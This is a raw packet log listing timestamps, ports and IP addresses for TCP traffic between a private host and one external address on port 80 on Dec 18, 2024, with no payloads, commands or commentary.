Dec 18, 2024 21:30:30.355740070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.356672049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.356712103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.356853008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.356899977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.357899904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.357964039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.358067989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.358107090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.359050035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.359091043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.359245062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.359390974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.360152006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.360208035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.360327005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.360375881 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.361284018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.361321926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.361485004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.361522913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.362430096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.362473965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.362656116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.362751007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.363616943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.363666058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.363934040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.363977909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.364680052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.364718914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.364873886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.364912033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.365906954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.365958929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.366080999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.366120100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.366961002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.367000103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.367115974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.367153883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.367918968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.367966890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.368118048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.368164062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.368992090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.369045973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.369081020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.369123936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.369846106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.369890928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.370034933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.370069981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.370850086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.370897055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.370934010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.370971918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.371921062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.371964931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.372077942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.372143030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.372750044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.372788906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.372859001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.372910976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.373611927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.373655081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.373773098 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.373814106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.374658108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.374706030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.374792099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.374829054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.375771046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.375817060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.375974894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.376019001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.376903057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.376949072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.377024889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.377063990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.377768993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.377814054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.377919912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.377959967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.378839970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.378886938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.379009008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.379049063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.379899025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.379942894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.380059004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.380103111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.380958080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.381004095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.517446995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.517508030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.517616034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.517661095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.517971039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.518033981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.518213987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.518273115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.519006968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.519100904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.519212961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.519267082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.520087004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.520137072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.520245075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.520298958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.521152020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.521209955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.521296024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.521481037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.522222042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.522355080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.522366047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.522413015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.523227930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.523309946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.523391962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.523483038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.524276972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.524322987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.524548054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.524591923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.525420904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.525475025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.525677919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.526016951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.526434898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.526484013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.526611090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.526657104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.527513981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.527560949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.527739048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.527792931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.528631926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.528683901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.528743029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.528839111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.529612064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.529800892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.529858112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.530673981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.530721903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.530893087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.530936003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.531701088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.531745911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.531847000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.531888008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.532754898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.532807112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.532973051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.533077002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.533844948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.533894062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.534061909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.534106970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.534898043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.534945011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.535085917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.535152912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.535969973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.536165953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.536323071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.536984921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.537031889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.537137985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.537180901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.538064003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.538115025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.538232088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.538271904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.539374113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.539434910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.539449930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.539496899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.540141106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.540189028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.540349007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.540397882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.541260958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.541312933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.541388988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.541426897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.542287111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.542413950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.542450905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.542489052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.543397903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.543562889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.544241905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.544444084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.544580936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.545500994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.545551062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.545631886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.546521902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.546569109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.546649933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.547591925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.547636986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.547725916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.548629045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.548635960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.548784971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.548993111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.549691916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.549736977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.549820900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.549923897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.550805092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.550853014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.550936937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.550978899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.551800966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.551846981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.551978111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.552022934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.552850008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.552902937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.553067923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.553430080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.553951025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.553996086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.554064989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.554109097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.554977894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.555022955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.555160046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.555202007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.556027889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.556082010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.556221962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.556318998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.557085991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.557168961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.557256937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.557302952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.558267117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.558314085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.558453083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.558583021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.559344053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.559462070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.559756041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.560389996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.560492039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.560725927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.561463118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.561521053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.561641932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.561685085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.562473059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.562515974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.562647104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.562702894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.563446999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.563654900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.563704014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.564574957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.564852953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.565001965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.565601110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.565654993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.565741062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.565785885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.566658974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.566711903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.566795111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.566845894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.567662954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.567711115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.567831993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.567887068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.568732977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.568785906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.568886995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.568924904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.569850922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.569895983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.570028067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.570072889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.570851088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.571019888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.571047068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.571095943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.572046041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.572098970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.572247982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.572293043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.572951078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.573000908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.709517002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.709625959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.709655046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.709687948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.709888935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.710031986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.710113049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.710365057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.710422039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.711213112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.711361885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.711479902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.711519003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.712220907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.712353945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.712397099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.712462902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.713321924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.713407993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.713481903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.714466095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.714548111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.714616060 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.715528965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.715590000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.715877056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.716161966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.716502905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.716681004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.717534065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.717586040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.717768908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.718589067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.718822002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.718868017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.719656944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.719819069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.719865084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.720690966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.720890045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.721730947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.721786022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.721896887 CET	80	49808	31.41.244.11	192.168.2.5
